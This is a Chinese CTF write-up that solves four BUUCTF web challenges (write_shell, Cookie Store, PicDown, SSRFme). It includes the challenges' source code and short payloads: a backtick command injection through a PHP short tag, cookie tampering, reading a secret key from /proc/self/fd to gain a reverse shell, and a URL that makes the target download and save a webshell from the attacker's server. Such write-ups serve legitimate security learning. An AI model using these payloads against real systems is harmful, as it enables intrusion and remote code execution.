一周CTF(陆)

BUU

[红明谷CTF 2021]write_shell

审计

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

知识点:PHP短标签

使用反引号执行命令,\t绕过空格。

payload

/?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>

[watevrCTF-2019]Cookie Store

查看请求头,cookie是一串b64编码,解码得到{"money": 50, "history": []}

修改money重新编码修改发送,买Flag Cookie,get shell

[网鼎杯 2020 白虎组]PicDown

url这可以读文件

呃......

看下预期解。

通过/proc/self/cmdline知道了启动文件app.py,读/app/app.py获得源码

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

/proc/self/fd/这个目录链接到当前进程打开的所有文件描述符,每个打开的文件都有一个以文件描述符编号命名。在/proc/self/fd/3找到了SECRET_KEY

然后就可以在no_one_know_the_manager中用shell参数反弹shell,读取flag。

[HITCON 2017]SSRFme

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
    $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir  = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

代码的逻辑是执行GET命令访问网页,然后将结果保存在输入的filename下。

虽然escapeshellarg确保了不能执行其他命令,但是可以远程下载我们服务器上的文件。而这个保存路径我们也是知道的,文件名也是可控的。所以思路就是在自己的服务器上放个shell文件,然后通过shell_exec("GET " . escapeshellarg($_GET["url"]));下载到目录中。

流程如下,在服务器上准备好下载的shell

输入url=http://IP/shell&filename=/test/sky.php将shell以php格式保存,执行命令get shell